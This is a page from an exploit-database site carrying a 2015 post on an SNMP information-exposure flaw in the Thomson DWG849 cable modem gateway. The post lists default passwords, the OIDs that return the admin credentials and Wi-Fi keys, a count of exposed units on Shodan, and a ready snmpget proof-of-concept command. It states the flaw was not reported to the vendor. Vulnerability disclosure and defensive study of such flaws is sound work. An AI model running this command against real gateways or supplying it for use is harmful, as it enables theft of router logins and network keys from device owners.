0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Thomson CableHome Gateway (DWG849) Cable Modem Gateway - Information Exposure Vulnerability
[# Exploit Title: Information Exposure via SNMP on Thomson CableHome Gateway [MODEL: DWG849] Cable Modem Gateway # Google Dork: n/a # Date: 09/18/2015 # Exploit Author: Matt Dunlap # Vendor Homepage: http://www.technicolor.com/en/solutions-services/connected-home/modems-gateways # Software Link: n/a # Version: Thomson CableHome Gateway <<HW_REV: 1.0; VENDOR: Thomson; BOOTR: 2.1.7i; SW_REV: STC0.01.16; MODEL: *DWG849*>> # Tested on: Ubuntu 14.04.3 # CVE : Not reported to vendor (yet) Information Exposure via SNMP on Thomson CableHome Gateway [MODEL: DWG849] Cable Modem Gateway Affected Product: Thomson CableHome Gateway <<MODEL: DWG849>> Cable Modem Gateway NOTE: The model DWG850-4 is open to the same attack but doesn’t come with the remote administration enabled (no web interface, no telnet) Severity Rating: Important Impact: Username and password for the user interface as well as wireless network keys can be disclosed through SNMP. At the time of posting this there are 61,505 results on Shodan for this model. By default there are 2 open ports: 161 (snmp), 8080 (web administration) The default password of 4GIt3M has been set on every unit I’ve tested so far Description: The Thomson CableHome Gateway DWG849 Cable Modem Gateway product specifications include SNMP v2 & v3 under Network Management. The management information bases (MIBs) of various device subsystems on the DWG849 allows local\remote network users to discover user interface credentials and wireless network key values through simple SNMP requests for the value of these variables. Given the security authentication in SNMPv1 and SNMPv2c do not offer sufficient protection, this increases the risk that the values can be disclosed through SNMP using the default read-only community “private”. Object Identifiers (OIDs): Make, Model, Software Version: 1.3.6.1.2.1.1.1.0 1.3.6.1.2.1.1.3.0 Web Interface Username \ Password (DEFAULT: admin \ Uq-4GIt3M) 1.3.6.1.4.1.4491.2.4.1.1.6.1.1.0 1.3.6.1.4.1.4491.2.4.1.1.6.1.2.0 SSID and KEY 1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.3.32 1.3.6.1.4.1.4413.2.2.2.1.5.4.2.4.1.2.32 Guest Network OIDs Other OIDs of interest include 1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.3.33 1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.3.34 1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.3.35 [POC] snmpget -t15 -v 2c -c private [host] 1.3.6.1.4.1.4491.2.4.1.1.6.1.1.0 1.3.6.1.4.1.4491.2.4.1.1.6.1.2.0 1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.3.32 1.3.6.1.4.1.4413.2.2.2.1.5.4.2.4.1.2.32 This issue has not been reported to the vendor. # 0day.today [2024-12-26] #